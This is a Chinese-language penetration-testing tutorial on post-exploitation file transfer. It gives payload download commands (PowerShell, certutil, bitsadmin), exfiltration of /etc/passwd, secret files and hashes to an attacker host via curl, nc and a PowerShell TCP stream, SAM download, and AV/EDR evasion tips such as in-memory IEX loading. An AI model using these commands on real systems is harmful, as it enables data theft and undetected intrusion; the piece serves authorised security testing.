当前位置: 首页 > news >正文

渗透测试实战(一):文件传输全技法与深度解析

引言:构建隐蔽通道与 Living Off The Land 艺术

在渗透测试的后利用(Post-Exploitation)阶段,高效的文件传输能力往往是决定成败的关键分水岭。无论是向目标投递定制化恶意载荷、上传提权工具,还是将敏感数据(如凭证哈希、配置文件)渗出(Exfiltration)至外部,稳定且隐蔽的传输通道都是必经之路。

然而,在现代防御体系(EDR、AV、NIDS)日益敏感的背景下,直接上传未知二进制文件或开启非标准端口的服务极易触发警报。因此,高阶渗透测试的核心策略在于“Living Off The Land”(LOTL,基于陆地生存)

本文将系统性地梳理在不同操作系统与网络环境下,如何利用系统原生工具(如 PowerShell、CertUtil、Bash、SMB)和轻量级临时服务,构建多样化的文件传输矩阵。我们的目标不仅是实现“传得过去”,更要做到“传得隐蔽”,通过模拟正常业务流量和系统行为,规避防御机制,完成从初始访问到完全控制的无缝衔接。


1. 核心战术:HTTP 协议传输

HTTP/HTTPS 协议是内网中最不可能被阻断的流量。利用系统自带工具或单命令行 Web 服务,可以快速建立传输通道。

1.1 快速搭建临时 Web 服务 (攻击机)

无需安装复杂环境,利用系统内置解释器即可拉起服务。

工具

命令示例

适用场景

Python 3

python3 -m http.server 4444

最通用,Linux/Mac 默认环境

Python 2

python2 -m SimpleHTTPServer 89

老旧 Linux 发行版

PHP

php -S 0.0.0.0:8080

已安装 PHP 的服务器

Ruby

ruby -run -e httpd . -p 1337

开发环境或 MacOS

Apache2

systemctl start apache2

需要持久化或复杂配置时

1.2 目标机下载技术 (Download)

优先使用系统原生二进制文件,避免上传第三方工具(如wgetnc.exe)引起怀疑。

Linux 环境
# 标准工具 curl -o /tmp/tool http://IP/tool wget http://IP/exploit.sh # 无工具利用 (Bash Native) cat < /dev/tcp/IP/80 > /tmp/received_file
Windows 环境 (LOTL 优先)
# PowerShell (最隐蔽,推荐) powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/payload.exe', 'C:\Windows\Temp\p.exe')" # CertUtil (常被监控,但绕过简单杀软有效) certutil -urlcache -split -f http://IP/mimi.exe mimi.exe # BitsAdmin (利用 Windows 后台服务,隐蔽性极高) bitsadmin /transfer job1 /download /priority high http://IP/file.exe C:\Windows\Temp\file.exe

1.3 数据渗出与上传 (Upload)

默认的 Python HTTP Server 仅支持下载,上传文件需要特殊配置。

搭建支持 PUT 的服务器

使用自定义脚本(如HTTPutServer.py)替代默认模块,核心逻辑如下:

# 核心代码片段 class PUTHandler(BaseHTTPRequestHandler): def do_PUT(self): length = int(self.headers['Content-Length']) content = self.rfile.read(length) with open(self.path[1:], "wb") as f: f.write(content) self.send_response(200)
客户端上传执行
# Linux (curl/wget) curl --upload-file secret.txt http://IP:1337/ wget --method=PUT --post-file=data.txt http://IP:1337/data.txt # Windows (PowerShell) Invoke-RestMethod -Uri http://IP:1337/secret.txt -Method PUT -Body (Get-Content secret.txt)
PHP 接收端 (备选)

在攻击机 Web 目录放置upload.php

<?php $targetDir = './uploads/'; // 确保权限为 777 $targetFile = $targetDir . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $targetFile); ?>

上传命令:curl -X POST -F 'file=@/etc/passwd' http://IP/upload.php


2. 辅助协议:非 HTTP 通道

当 Web 流量被严格监控或阻断时,利用系统原生支持的协议进行传输。

2.1 SMB 共享 (Windows 首选)

利用 Impacket 搭建 SMB 服务器,模拟内网文件共享,极其隐蔽且无需 Web 请求。

# Kali 搭建 (支持 SMB2,避免兼容性问题) impacket-smbserver share $(pwd) -smb2support -username test -password test # 目标机连接与复制 net use \\Kali_IP\share /user:test test copy \\Kali_IP\share\payload.exe C:\Windows\Temp\

2.2 SSH / SCP

适用于 Linux 环境且已获取 SSH 凭证的场景。

scp -P 2222 ./local_file user@host:/tmp/remote_path scp -r user@host:/etc/ ./backup_etc

2.3 FTP / TFTP

适用于网络设备(路由器、交换机)或老旧 Windows 系统。

  • FTP 服务器:python -m pyftpdlib -p 21 -w(匿名可写)

  • TFTP 服务器:atftpd --daemon --port 69 /tftpboot


3. 极限环境:无监听与流式传输

当目标无法主动连接攻击机,或攻击机无法开启端口时,使用标准输入输出重定向。

3.1 Netcat (nc) 传输

# 接收端 (Kali) nc -lvnp 4444 > received_file.bin # 发送端 (Target) nc -nv 192.168.1.10 4444 < /etc/passwd

3.2 PowerShell TCP 传输 (无 NC 环境)

直接使用 .NET 的 Socket 对象进行流式传输,绕过对nc.exe的依赖。

$client = New-Object System.Net.Sockets.TCPClient('IP',Port); $stream = $client.GetStream(); $fileStream = [System.IO.File]::OpenRead('C:\secret\hash.txt'); $fileStream.CopyTo($stream); $fileStream.Close(); $stream.Close(); $client.Close()

4. 自动化框架集成 (Metasploit)

在 Meterpreter 会话中,使用内置命令确保传输稳定性。

操作

命令

说明

上传

upload /local/payload.exe C:\\Windows\\Temp\\

自动处理 Windows 路径转义

下载

download C:\\Windows\\System32\\config\\SAM ./

下载注册表或敏感文件

搭建服务

use auxiliary/server/ftp

快速搭建 FTP 陷阱或传输点


5. 防御规避建议

  1. 伪装流量:尽量使用 80/443 端口,并将文件命名为常见文件名(如update.exe,logo.png)。

  2. 编码混淆:使用certutil -encode或 Base64 编码传输文件,在目标端解码执行,以绕过内容检测。

  3. 内存执行:优先使用powershell IEX (New-Object Net.WebClient).DownloadString(...)直接在内存中加载脚本,避免文件落盘。

免责声明:本文档仅供授权的渗透测试与安全研究使用。严禁用于非法用途。

http://www.jsqmd.com/news/774006/

相关文章:

  • Arm Cortex-X2微架构异常分析与安全防护实践
  • 一个公式,解释了我见过的大部分冲突
  • 基于MCP协议打通Figma与Cursor:AI驱动的设计与代码同步实践
  • XYBot V2微信机器人:插件化架构解析与从零部署实战
  • 从C++ 14到C++ 17:理解聚合初始化是如何工作的
  • 基于RAG与向量检索的Claude长上下文管理工具解析
  • AI赋能API调试:构建智能错误诊断与性能监控插件
  • 企业级无人机管理平台架构设计|多行业巡检适配,支持内网私有化与二次开发
  • AI智能体技能库:模块化设计、核心技能与实战集成指南
  • Arm Cortex-A720缓存与TLB底层访问机制解析
  • 乘风破浪,扬帆出海,智慧新物流(Logistics)之仓储领域,项目管理相关术语集结
  • ChatClaw:基于智能体与网页抓取的AI信息增强框架实践
  • 《信息系统项目管理师教程(第4版)》——信息技术发展
  • ESP32-C5开发板多协议无线与低功耗设计解析
  • Claude 不订阅也能用:国产模型直连实操,我替你踩完了所有坑
  • 多模式夹持天线系统(PASS)原理与毫米波通信应用
  • 探讨(HAL库)使用rs485时,开了DMA收发,但是没有开串口的全局中断,导致只发送(接收)了一次数据就不发送了。
  • 架构师视角:如何构建支持GB28181/RTSP的异构AI视频平台?从Docker部署到源码交付的深度实践
  • 2026年知名的连续式烘干机/大型烘干机定制加工厂家推荐 - 品牌宣传支持者
  • 别再花冤枉钱买涂色本了!扣子(Coze)+GPT-Image-2一键生成,想要什么画就有什么画
  • 量子深度学习系统架构与优化实践
  • 并发编程之阻塞队列
  • 如何免费获取EB Garamond 12字体:古典优雅的终极开源字体解决方案
  • 基于Next.js 14全栈实战:从零构建现代社交媒体应用Threads
  • 2026年质量好的grc花瓶栏杆厂家精选合集 - 行业平台推荐
  • AI资源聚合库构建指南:从分类体系到自动化维护的工程实践
  • 3D点云无监督学习的环境安装(ubuntu)
  • Fast-Trade:基于YAML的快速量化回测引擎设计与实战
  • 事件驱动AI代理框架:构建生产级智能体的状态管理与工作流编排
  • Davinci Resolve/达芬奇 21安装教程及下载